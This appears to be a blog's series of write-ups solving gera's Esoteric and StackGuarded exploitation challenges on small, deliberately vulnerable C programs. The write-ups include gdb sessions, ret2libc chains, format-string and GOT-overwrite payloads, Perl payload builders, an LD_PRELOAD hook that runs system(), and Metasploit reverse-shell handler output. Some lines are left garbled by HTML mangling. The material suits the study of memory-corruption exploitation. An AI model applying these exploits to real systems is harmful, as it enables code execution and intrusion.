0x8049790:      0x41414141      0x41414141      0x41414141      0x41414141
0x80497a0:      0x41414141      0x41414141      0x41414141      0x41414141
0x80497b0:      0x41414141      0x41414141      0x41414141      0x41414141
...

environ still points to the stack, and buf has been overflown with As. Here is after setenv().

Breakpoint 2, main (argv=3, argc=0xbffff974) at e3.c:11
11              while(1);
(gdb) x/x environ
0x8049788:      0xbffffc76

...
0x8049740 <buf+192>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049750 <buf+208>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049760 <buf+224>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049770 <buf+240>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049780:      0x41414141      0x00000061      0xbffffc76      0xbffffc8b
0x8049790:      0xbffffcaa      0xbffffccc      0xbffffcd8      0xbffffe9b
0x80497a0:      0xbffffeba      0xbffffed6      0xbffffeeb      0xbffffef6
0x80497b0:      0xbfffff05      0xbfffff0d      0xbfffff19      0xbfffff29
0x80497c0:      0xbfffff37      0xbfffff48      0xbfffff56      0xbfffff68
0x80497d0:      0xbfffff73      0xbfffffa6      0x080497e8      0x00000000
0x80497e0:      0x41414141      0x00000011      0x3d4f4241      0x42424242
0x80497f0:      0x41414100      0x00000019      0x080497e8      0x00000000
0x8049800:      0x00000000      0x41414141      0x41414141      0x000007f9
0x8049810:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049820:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049830:      0x41414141      0x41414141      0x41414141      0x41414141
...

The environ pointer now points out to heap land (0x8049788). At this address, the environment has been copied from the stack and placed into some malloc()'d memory. At 0x80497d8, in the env array, is the pointer to the new ABO variable--which also resides in a malloc() chunk.

(gdb) x/s 0x080497e8
0x80497e8:       "ABO=BBBB"

When ABO is already initialized, after the strcpy(), things are the same. But, after the setenv().


(gdb) x/x environ
0xbffff964:     0xbffffc6d
(gdb)
0xbffff968:     0x08049788
(gdb)
0xbffff96c:     0xbffffc8b

The environ pointer still points to stack space. Now just the second entry in the env array points to heap land. It looks like this.

(gdb) x/s 0x08049788
0x8049788:       "ABO=BBBB"

So, setenv() just replaces the original ABO pointer with a pointer to malloc()'d memory.

Near the end of buf it looks like.

...
0x8049760 <buf+224>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049770 <buf+240>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049780:      0x41414141      0x00000011      0x3d4f4241      0x42424242
0x8049790:      0x41414100      0x00000019      0x08049788      0x00000000
0x80497a0:      0x00000000      0x41414141      0x41414141      0x00000859
0x80497b0:      0x41414141      0x41414141      0x41414141      0x41414141
...

Regardless of how, what, or with what I overflowed buf, I was unable to corrupt the setenv() data structures in my favor.

I got a shell by creating my own setenv() function in a shared object and hooking it in via LD_PRELOAD.

dennis@ipa:~/es3$ cat setenv.c                                               
#include <stdlib.h>

int setenv(const char *name, const char *value, int replace)
{
        system(value);
}

[dennis@localhost es4]$ gcc -shared -o setenv.so setenv.c
[dennis@localhost es3]$ LD_PRELOAD=./setenv.so ./e3 foobar /bin/sh
sh-2.05$ id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
sh-2.05$ pwd
/home/dennis/es3
sh-2.05$ exit
exit

[dennis@localhost es3]$

Sunday, December 9, 2012

Esoteric #2

gera's Esoteric #2.

/* specially crafted to feed your brain by gera@core-sdi.com */

/* Now, your misson is to make abo1 act like this other program:
 *
        char buf[100];

        while (1) {
                scanf("%100s",buf);
                system(buf);
        }

 * But, you cannot execute code in stack.
 */

int main(int argv,char **argc) {
        char buf[256];

        strcpy(buf,argc[1]);
}

I started by sticking the scanf() format string into the environment and getting its address.

shell$ export ES2=%100s
shell$ ./ev2
ES2 is at 0xbffffc83

I used a chained ret2libc exploit to avoid executing code from the stack. The buffer looks like this.

[268 As][scanf addr][pop/pop/ret addr][fmt str addr + 1][buf addr][system addr][exit addr][buf addr]

The pop/pop/ret widget is used to adjust the stack pointer and skip over the fmt str and buf addresses on the stack. This aligns everything so ret will load system()'s address into EIP.

1 is added to the fmt str address to skip over the '=' sign in the environment variable.

Here's how the addresses were gathered.

(gdb) print scanf
$1 = {int (char *)} 0x4008d274 <scanf>
(gdb) x/i 0x080484bd
0x80484bd <__do_global_ctors_aux+45>:   pop    %ebx
(gdb)
0x80484be <__do_global_ctors_aux+46>:   pop    %ebp
(gdb)
0x80484bf <__do_global_ctors_aux+47>:   ret
(gdb) x/s 0xbffffc84
0xbffffc84:      "%100s"
(gdb) x/x 0xbffffc94
0xbffffc94:     0x6c006469
(gdb) x/s 0xbffffc94
0xbffffc94:      "id"
(gdb) print system
$2 = {<text variable, no debug info>} 0x40076584 <__libc_system>
(gdb) print exit
$4 = {void (int)} 0x400583a4 <exit>

I found the pop/pop/ret widget via.

shell$ objdump -d --section='.text' es2 | grep ret -B 3 | grep
pop -A 3 | more

Here is everything in action.

(gdb) run `perl -e 'print "A" x 268 . "\x74\xd2\x08\x40" . "\xbd\x84\x04\x08" .
"\x84\xfc\xff\xbf" . "\x94\xfc\xff\xbf" . "\x84\x65\x07\x40" . "\xa4\x83\x05\x40
" . "\x94\xfc\xff\xbf"'`
Starting program: /home/dennis/es2/es2 `perl -e 'print "A" x 268 . "\x74\xd2\x08
\x40" . "\xbd\x84\x04\x08" . "\x84\xfc\xff\xbf" . "\x94\xfc\xff\xbf" . "\x84\x65
\x07\x40" . "\xa4\x83\x05\x40" . "\x94\xfc\xff\xbf"'`
sh
sh-2.05$ id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
sh-2.05$ ls
es2  es2.c  ev2  ev2.c  notes  out
sh-2.05$ exit
exit

Program exited normally.

I feel I cheated a bit by launching the shell, but I spent a lot of time trying to get the while(1) loop implemented in either a recursive main() call or via ROP widgets without success. Using the recursive main() call I was able to get 2 iterations before the stack got too corrupted (from the address chains). For the ROP technique, I wasn't able to find proper widgets to manipulate ESP or EBP in a way to cause a loop.

Monday, November 19, 2012

Esoteric #1

gera's Esoteric #1


/* specially crafted to feed your brain by gera@core-sdi.com */

/* jumpy vfprintf, Batman!                                   */

int main(int argv,char **argc) {
                      /* Can you do it changing the stack?  */
                      /* Can you do it without changing it? */
        printf(argc[1]);
        while(1);
}

As usual, I start off by sticking a nop sled and some shellcode into an environment variable.


[dennis@localhost e1]$ export ES1=`perl sc.pl`
[dennis@localhost e1]$ gcc -o ev1 ev1.c
[dennis@localhost e1]$ ./ev1
ES1 is at 0xbffffc11


To visualize some of the values, I'm going to cause a coredump and load it up into gdb.


[dennis@localhost e1]$ ./es1 '%.64529x%104$n%.50158x%105$n' `perl -e 'print "\x4c\xfa\xff\xbf" . "\x4e\xfa\xff\xbf" . "A" x 1'`
...
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
Segmentation fault (core dumped)
[dennis@localhost e1]$ gdb es1 core

I make sure the nop sled and shellcode are in place.
(gdb) x/i 0xbffffc11
0xbffffc11:     nop
(gdb)
0xbffffc12:     nop


The format string vulnerability provides a 4-byte-write-anything-anywhere primitive. The anything will be the address of my payload (0xbffffc11) and the anywhere will be a saved return address on printf()'s stack frame.

There are 4 conversion specifiers in the format string. The "%.64529x" increments printf()'s character counter to 0xfc11 characters and prints whatever is stored on the stack at printf()'s second parameter. "%104$n" writes the current character counter value to the 104th printf() parameter on the stack. "%.50158x" again increments the counter--0x1bfff-64529 characters (see notes from Format Strings: fs5) and prints whatever is stored on the stack at printf()'s third parameter. Finally, "%105$n" writes the new counter value to the 105th parameter on the stack.

The following shows the second command line argument in memory.


(gdb) x/x argc[2]
0xbffffbef:     0xbffffa4c
(gdb)
0xbffffbf3:     0xbffffa4e

As can be seen, I've stored 2 addresses there that are offset by 2 bytes (0xbffffa4c and 0xbffffa4e). The memory addresses these are stored at will end up being the 104th and 105th parameters to printf() and are offset for the format string exploit.

At the code level, printf() is just a wrapper function for vfprintf(stdout, format, ...). So the call stack will be main() -> printf() -> vfprintf(). Since all the work will be done in vfprintf()'s stack frame, printf()'s frame will be relatively stable and its saved return address back to main() will be a good target to overwrite--main()'s return address is a poor choice because the while(1) loop prevents main() from ever returning.


(gdb) info frame
Stack level 1, frame at 0xbffffa48:
 eip = 0x40086d2c in printf (printf.c:33); saved eip 0x8048476
 called by frame at 0xbffffa68, caller of frame at 0xbffffa28
 source language c.
 Arglist at 0xbffffa48, args: format=0xbffffbd2 "%.64529x%104$n%.50158x%105$n"
 Locals at 0xbffffa48, Previous frame's sp is 0x0
 Saved registers:
  ebx at 0xbffffa44, ebp at 0xbffffa48, eip at 0xbffffa4c
(gdb)

printf()'s saved return address back to main() is stored at 0xbffffa4c.

The final piece is determining the parameter offsets for printf() that will point to the the writeable address (printf()'s saved return address) stored at the second command line argument.

By changing the "%n" format specifiers to "%x" the exploit goes from a memory overwrite to a information leak. Using this leak and guessing offsets helped me track down the proper offsets.

By aligning everything properly, it looks like this.


[dennis@localhost e1]$ ./es1 '%.64529x%104$n%.50158x%105$n' `perl -e 'print "\x4c\xfa\xff\xbf" . "\x4e\xfa\xff\xbf"'`
...
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000[dennis@localhost e1]$

---
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.0.32

Sunday, September 9, 2012

StackGuarded #6

gera's StackGuarded #6.
/* sg6.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)  

int get_username(char *user) {
        char temp[80];

        decrypt(temp,user);

        return strdup(temp);
}

int main(int argv, char **argc) {
    char *user_name;

    user_name = get_username(argc[1]);
    printf("User name is '%s'\n",user_name);
    return 0;
}
Same caveats.
The overview for this exploit is to use the buffer overflow in get_username() to control main()'s ebp and user_name variable. ebp is adjusted so that user_name will point to printf()'s GOT entry. On return from get_user(), the GOT entry will be overwritten with a pointer from strdup(). This pointer will point to a jmp statement which, in turn, will jump to shellcode in the environment.
Information gathering.
[dennis@localhost sg6]$ objdump -R sg6 | grep printf
080495ec R_386_JUMP_SLOT   printf

(gdb) x/x &user_name
0xbffffab4:     0x080496e8
(gdb) x/x $ebp - 4
0xbffffab4:     0x080496e8

[dennis@localhost sg6]$ export SG6=`perl sc.pl`
[dennis@localhost sg6]$ gcc -o ev6 ev6.c
[dennis@localhost sg6]$ ./ev6 `perl -e 'print "A" x 79'`
SG6 is at 0xbffffc52
The following was determined: printf()'s GOT entry, user_name's relative offset from ebp, location of the shellcode in the environment. argv1.pl looks like this.
#!/usr/bin/perl

use warnings;
use strict;

my $nop = "\x90" x 3;
# jmp from strdup buf to SG6 env var, bruteforce calculated
my $jmp = "\xe9\x62\x65\xfb\xb7";
my $filler = "\x90" x (79 - length($nop) - length($jmp));
my $argv1 = $nop.$jmp.$filler;
This will overflow get_username()'s buffer into main()'s saved ebp allowing complete control. The $jmp is a jmp statement to get from the heap (from strdup()) to the shellcode in the environment (on the stack.) Exploit.
(gdb) break 11
Breakpoint 1 at 0x80484e5: file sg6.c, line 11.
(gdb) break 19
Breakpoint 2 at 0x8048511: file sg6.c, line 19.
(gdb) run `perl argv1.pl`
Starting program: /home/dennis/sg6/sg6 `perl argv1.pl`

Breakpoint 1, get_username (
    user=0xbffffba9 "\220\220\220ébeû·", 'A' ) at sg6.c:12
12              return strdup(temp);
(gdb) info frame
Stack level 0, frame at 0xbffffa28:
 eip = 0x80484e5 in get_username (sg6.c:12); saved eip 0x804850b
 called by frame at 0xbffffa38
 source language c.
 Arglist at 0xbffffa28, args:
    user=0xbffffba9 "\220\220\220ébeû·", 'A' 
 Locals at 0xbffffa28, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffa28, eip at 0xbffffa2c
(gdb) set {int}0xbffffa28 = 0x080495ec + 4 <-- 0x080495ec="" 0x80495ec="" 19="" 2="" argc="0x1)" argv="0," at="" breakpoint="" c="" continuing.="" ebp="" entry="" gdb="" got="" is="" main="" manually="" mimic="" n="" name="" overwrite="" printf="" s="" ser="" sg6.c:19="" user_name="" x="">:   0x080496e8 <-- 0x80496e8:="" 0x80496e9:="" 0x80496ea:="" 0x80496eb:="" 0xbffffc52="" gdb="" i="" in="" jmp="" nop="" pre="" sg6="" shellcode="" user_name="" x="">


StackGuarded #5

gera's StackGuarded #5.
/* sg5.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

int need_to_check = 1;  // XXX: Add global configuration

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)

int check(char *user) {
        char temp[80];

        decrypt(temp,user);

        // XXX: add some real checks in the future
        return !strcmp(temp,"gera");
}

int main(int argv, char **argc) {
    int user_ok;

    user_ok = check(argc[1]);
    if (!user_ok && need_to_check) {
        printf("fail !\n");
        exit(1);
    }
    printf("win !\n");
    exit(0);
}
Same caveats as #4. I also added two printf()s to visualize win/fail.
I don't believe you can get code execution here, but you can "win" with an incorrect password. The quick overview is to use the buffer overflow in check() to control main()'s ebp pointer. With this control comes control of the user_ok variable. This variable just needs to be set to 1 for a win.
Information gathering.
(gdb) x/x &need_to_check
0x804962c :      0x00000001

(gdb) x/x &user_ok
0xbffffb04:     0x00000000
(gdb) x/x $ebp - 4
0xbffffb04:     0x00000000
need_to_check is out in data land and has a value of 1. user_ok is on main()'s stack frame and it is 4 away from main()'s ebp. Exploit.
(gdb) break 22
Breakpoint 1 at 0x804855b: file sg5.c, line 22.
(gdb) run `perl -e 'print "A" x 80'`
Starting program: /home/dennis/sg5/sg5 `perl -e 'print "A" x 80'`

Breakpoint 1, main (argv=24641422, argc=0xbffffad0) at sg5.c:22
22          if (!user_ok && need_to_check) {
(gdb) x/x &user_ok
0xbffff9fc:     0x00000000 

(gdb) set $ebp = 0x0804962c + 4
(gdb) x/x &user_ok
0x804962c :      0x00000001
(gdb) c
Continuing.
win !

Program exited normally.
I overflow check()'s buffer into main()'s saved ebp (remember above caveats). On return, user_ok is set to 0 and on its way to a "fail". But, if main()'s ebp is overwritten so that it points 4 bytes away from need_to_check, user_ok (ebp - 4) will actually point to need_to_check, which happens to be 1 and victory is in hand!

Saturday, September 8, 2012

StackGuarded #4

gera's StackGuarded #4.
/* sg4.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)  

int check(char *user) {
        char temp[80];

        decrypt(temp,user);

        // XXX: add some real checks in the future
        return !strcmp(temp,"gera");
}

// XXX: Add real support for internationalization
#define LANG_MSG(dest,pattern) strcpy(dest,pattern);

int main(int argv, char **argc) {
    char msg[100];

    LANG_MSG(msg,"Get out of here!\n");
    if (!check(argc[1])) {
            printf(msg);
            exit(1);
    }
    exit(0);
}
There are a few more caveats here. First, I believe that when gera wrote this challenge, StackGuard was using its terminator canary, which looks like "\x00\x0a\xff\x0d", by default. The idea is that these four characters should terminate any string handling function (gets(), strcpy(), etc.) prematurely. This means that the canary can still be overwritten, but the string would terminate before it got to the saved EIP.
Second, since I don't have access to a proper StackGuard box, I have to fake it by manually setting ebp in main(). With that said, main()'s ebp is fully controllable due to the buffer overflow.
Starting program: /home/dennis/sg4/sg4 `perl -e 'print "A" x 84'`

Breakpoint 7, check (user=0xbffffba4 'A' ) at sg4.c:14
14      }
(gdb) info frame
Stack level 0, frame at 0xbffff9bc:
 eip = 0x804853b in check (sg4.c:14); saved eip 0x8048500
 called by frame at 0x41414141
 source language c.
 Arglist at 0xbffff9bc, args: user=0xbffffba4 'A' 
 Locals at 0xbffff9bc, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffff9bc, eip at 0xbffff9c0
(gdb) x/x 0xbffff9bc
0xbffff9bc:     0x41414141 <-- 0x08048500="" 0xbffff9c0:="" a="" canary="" ebp="" gdb="" is="" main="" pre="" pretend="" s="" saved="" terminator="" this="">

The gist of this exploit is to use the buffer overflow in check() to move main()'s ebp pointer, to control the msg variable. msg will point to a format string crafted in argv[2] allowing a write 4 bytes to any address primitive.
To start, I stick some shellcode into an environment variable and get its address. Stack spacing/alignment is important so I duplicate the exploit's arguments. 


[dennis@localhost sg4]$ export SG4=`perl sc.pl`
[dennis@localhost sg4]$ ./ev4 `perl argv1.pl` `perl argv2.pl`
SG4 is at 0xbffffc52
I'll also need exit()'s GOT address.
[dennis@localhost sg4]$ objdump -R sg4 | grep exit
08049658 R_386_JUMP_SLOT   exit
Here is argv1.pl
#!/usr/bin/perl

use warnings;
use strict;

my $filler1 = "A" x 1;
#my $exit_addr1 = "BBBB";
my $exit_addr1 = "\x58\x96\x04\x08";
#my $exit_addr2 = "CCCC";
my $exit_addr2 = "\x5a\x96\x04\x08";
my $filler2 = "A" x (80 - length($filler1) - length($exit_addr1) - length($exit_
addr2));
my $argv1 = $filler1.$exit_addr1.$exit_addr2.$filler2;
print $argv1;
argv1 overflows the buffer in check(). Note, without caveat number two, this would overwrite the saved ebp with an address that points to the format string in argv[2] (next.) In the beginning of this buffer, I place addresses that point to the low and high bytes of exit()'s GOT entry. argv2.pl contains the format string and it looks like this
#!/usr/bin/perl

use warnings;
use strict;

my $format = "%.64594u%124\$n%.50093u%125\$n";
my $filler3 = "C" x (100 - length($format));
my $argv2 = $format.$filler3;

print $argv2;
So that offsets didn't change during the development of the format string, I used $filler3 to setup a static "buffer" to work in. Remembering that the shellcode is at 0xbffffc52 the precision values for the %u modifiers are calculated like this
(gdb) print /d 0xfc52
$1 = 64594
(gdb) print /d 0x1bfff - 64594
$2 = 50093
The direct argument offsets, 124 and 125, point to the two exit() addresses from argv[1]. They were bruteforce calculated in gdb
(gdb) x/x $esp + (125 * 4) 
0xbffffb44:     0x08049658
(gdb) x/x $esp + (124 * 4)
0xbffffb48:     0x0804965a
With this setup, the printf(msg) call turns into
printf("%.64594u%124\$n%.50093u%125\$n", junk1, exit_addr1, junk2, exit_addr2)
junk1 and junk2 are taken off the real stack, whereas the two exit_addrs are taken from argv[1]. Exploit.
In the below exploit, ebp is set like
set $ebp = 0xbffffb94 + 112
0xbffffb94 is the start of argv[2], which was bruteforce calculated in gdb. 112 is the offset msg is from ebp.
(gdb) break 24
Breakpoint 6 at 0x804856d: file sg4.c, line 24.
(gdb) run `perl argv1.pl` `perl argv2.pl`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/sg4/sg4 `perl argv1.pl` `perl argv2.pl`

Breakpoint 6, main (argv=1094795585, argc=0x41414141) at sg4.c:24
24                  printf(msg);
(gdb) set $ebp = 0xbffffb94 + 112 <-- 0xbffffb94:="" 2="" 72="" caveat="" ebp.="" gdb="" manually="" msg="" n="" repeats="" s="" set="" times="" u="" x="">
(gdb) c

...

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000544503
151C
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001e60 in _start () at rtld.c:158
158     rtld.c: No such file or directory.
        in rtld.c
(gdb) fg
Continuing.

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444 
[*] Starting the payload handler...
[*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.32:50115) at 2012-09-08 23:19:05 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg4
^C